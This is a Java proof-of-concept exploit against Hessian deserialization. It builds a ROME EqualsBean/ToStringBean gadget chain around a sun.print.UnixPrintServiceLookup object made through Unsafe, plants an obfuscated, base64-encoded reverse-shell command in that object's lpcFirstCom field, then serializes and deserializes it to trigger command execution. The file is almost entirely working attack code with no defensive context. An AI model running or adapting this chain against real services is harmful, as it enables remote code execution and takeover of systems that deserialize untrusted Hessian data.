1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119
| package com.ser;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.caucho.hessian.io.SerializerFactory; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javafx.beans.property.Property; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import sun.misc.Unsafe; import sun.print.CUPSPrinter; import sun.print.UnixPrintServiceLookup; import sun.swing.SwingLazyValue;
import javax.management.BadAttributeValueExpException; import javax.swing.*; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.security.*; import java.util.HashMap; import java.util.PriorityQueue;
public class hessian_tostring { static SerializerFactory serializerFactory = new SerializerFactory(); public static void main(String[] args) throws Exception { serializerFactory.setAllowNonSerializable(true);
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafe.get(null); Object lookup = unsafe.allocateInstance(UnixPrintServiceLookup.class); String cmd = ";sh -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS85OTk5IDA+JjE=}|{base64,-d}|{sh,-i}'";
setFieldValue(lookup, "osname", "xx"); setFieldValue(lookup,"lpcFirstCom",new String[]{cmd,cmd,cmd}); setFieldValue(lookup, "cmdIndex", 0); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,new ToStringBean(lookup.getClass(),lookup));
HashMap hashMap = maskmap(equalsBean, equalsBean);
Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("./hessiantwo")); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(hashMap); hessian2Output.flushBuffer();
Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("./hessiantwo")); hessian2Input.readObject();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static HashMap maskmap(Object u1,Object u2) throws Exception{ HashMap hashMap = new HashMap(); Class node = Class.forName("java.util.HashMap$Node"); Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node); constructor.setAccessible(true); Object node1 = constructor.newInstance(0, u1, null, null); Object node2 = constructor.newInstance(0, u2, null, null); Field key = node.getDeclaredField("key"); key.setAccessible(true); key.set(node1, u1); key.set(node2, u2); Field size = HashMap.class.getDeclaredField("size"); size.setAccessible(true); size.set(hashMap, 2); Field table = HashMap.class.getDeclaredField("table"); table.setAccessible(true); Object arr = Array.newInstance(node, 2); Array.set(arr, 0, node1); Array.set(arr, 1, node2); table.set(hashMap, arr);
return hashMap; } }
|